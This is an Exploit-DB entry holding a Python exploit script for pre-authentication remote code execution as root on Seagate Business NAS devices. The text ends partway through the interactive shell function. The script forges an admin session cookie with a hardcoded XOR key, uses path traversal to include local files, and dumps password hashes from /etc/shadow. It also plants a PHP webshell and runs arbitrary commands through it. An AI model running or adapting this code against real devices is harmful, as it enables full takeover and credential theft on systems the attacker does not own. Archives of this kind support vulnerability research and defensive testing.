Exploit-DB #36202
Description: Seagate Business NAS 2014.00319 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2015-03-01
Author: OJ Reeves

Exploit:
#!/usr/bin/env python
#
# Seagape
# =======
# Seagate Business NAS pre-authentication remote code execution
# exploit as root user.
#
# by OJ Reeves (@TheColonial) - for full details please see
# https://beyondbinary.io/advisory/seagate-nas-rce/
#
# Usage
# =====
# seagape.py <ip> <port> [-c [ua]]
#
# - ip   : ip or host name of the target NAS
# - port : port of the admin web ui
# - -c   : (optional) create a cookie which will give admin access.
#          Not specifying this flag results in webshell installation.
# - ua   : (optional) the user agent used by the browser for the
#          admin session (UA must match the target browser).
#          Default value is listed below
#
# Example
# =======
# Install and interact with the web shell:
# seagape.py 192.168.0.1 80
#
# Create admin cookie
# seagape.py 192.168.0.1 80 -c

import base64
import hashlib
import itertools
import os
import re
import socket
import sys
import urllib
import urllib2
import uuid
import xml.sax.saxutils

if len(sys.argv) < 3:
    print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
    sys.exit(1)

# Every Seagate nas has the same XOR key. Great.
XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'

# This is the User agent we'll use for most of the requests
DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'

# This is the description we're going to be reading from
LFI_FILE = '/etc/devicedesc'

# the base globals that will hold our state
host = sys.argv[1]
port = int(sys.argv[2])
cis = ''
hostname = ''
webshell = str(uuid.uuid1()) + ".php"

def chunks(s, n):
    for i in xrange(0, len(s), n):
        yield s[i:i + n]

def forward_interleave(a, b):
    return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))

def xor(s, k):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))

def sha1(s):
    return hashlib.sha1(s).hexdigest()

def decode(s):
    f = xor(s, XOR_KEY)
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))

def encode(s):
    s = forward_interleave(sha1(s), s)
    s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
    return xor(s, XOR_KEY)

def make_request(uri = "/", ci_session = None, headers = None, post_data = None):

    method = 'GET'

    if not headers:
        headers = {}

    headers['Host'] = host

    if 'User-Agent' not in headers:
        headers['User-Agent'] = DEFAULT_UA

    if 'Accept' not in headers:
        headers['Accept'] = 'text/html'

    if post_data:
        method = 'POST'
        post_data = urllib.urlencode(post_data)
        headers['Content-Type'] = 'application/x-www-form-urlencoded'

    if ci_session:
        ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
        headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    http  = ""
    http += "{0} {1} HTTP/1.1\r\n".format(method, uri)

    for h in headers:
        http += "{0}: {1}\r\n".format(h, headers[h])

    if post_data:
        http += "Content-Length: {0}\r\n".format(len(post_data))

    http += "\r\n"

    if post_data:
        http += post_data

    s.send(http)

    result = ""
    while True:
        data = s.recv(1024)
        if not data:
            break
        result += data

    s.close()

    return result

def get_ci_session():
    resp = make_request()

    for l in resp.split("\r\n"):
        m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
        for name, value in m:
            if name == 'ci_session' and len(value) > 40:
                return decode(base64.b64decode(urllib.unquote(value)))

    print "Unable to establish session with {0}".format(host)
    sys.exit(1)

def add_string(ci_session, key, value):
    prefix = 's:{0}:"{1}";s:'.format(len(key), key)
    if prefix in ci_session:
        ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
    else:
        # doesn't exist, so we need to add it to the start and the end.
        count = int(ci_session.split(':')[1]) + 1
        ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
    return ci_session

def set_admin(ci_session):
    return add_string(ci_session, "is_admin", "yes")

def set_language(ci_session, lang):
    return add_string(ci_session, "language", lang)

def include_file(ci_session, file_path):
    if file_path[0] == '/':
        file_path = '../../../../../..' + file_path
    return set_language(ci_session, file_path + "\x00")

def read_file(file_path, post_data = None):
    resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
    return resp

def hashdump():
    shadow = read_file('/etc/shadow')
    for l in shadow.split("\n"):
        if l and ':!:' not in l and ':x:' not in l:
            parts = l.split(':')
            print "{0}:{1}".format(parts[0], parts[1])

def cmd(command):
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded',
        'Accept' : '*/*',
        'User-Agent' : DEFAULT_UA
    }

    post_data = urllib.urlencode({'c' : command})
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    ci_session = urllib.quote(base64.b64encode(encode(cis)))
    headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
    req = urllib2.Request(url, headers = headers, data = post_data)

    return urllib2.urlopen(req).read()

def shell():
    running = True
    while running:
        c = raw_input("Shell ({0}) $ ".format(post_id))
        if c != 'quit'